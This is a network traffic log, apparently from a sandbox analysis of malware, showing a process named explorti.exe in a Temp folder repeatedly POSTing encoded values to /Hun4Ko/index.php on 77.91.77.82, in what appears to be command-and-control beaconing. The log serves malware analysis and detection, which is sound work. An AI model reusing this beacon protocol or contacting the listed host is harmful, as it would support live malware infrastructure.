Jul 2, 2024 15:27:15.774780035 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:16.144092083 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49791	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:16.257499933 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:16.972836018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:16.977852106 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:17.205859900 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49792	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:17.319053888 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:18.024930954 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:18.026128054 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:18.248382092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49793	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:18.367204905 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:19.076072931 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:19.079380989 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:19.299127102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49794	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:19.413415909 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:20.121750116 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:20.123229027 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:20.346038103 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49795	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:20.464804888 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:21.200622082 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:21.205049992 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:21.440340042 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49796	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:21.553674936 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:22.274935961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:22.275769949 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:22.508058071 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49797	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:22.618685961 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:23.315977097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49798	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:23.329355001 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:24.076554060 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49799	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:24.285504103 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49800	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:24.306165934 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:25.009819984 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49801	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:25.134759903 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:25.840528011 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49802	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:25.849900961 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:26.561256886 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49803	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:26.685451984 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:27.398137093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49804	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:27.407608986 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:28.118834019 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49805	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:28.230439901 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:29.693264008 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:29.693412066 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:29.693690062 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:29.702495098 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:29.925683975 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49806	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:30.072000980 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:30.737662077 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49807	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
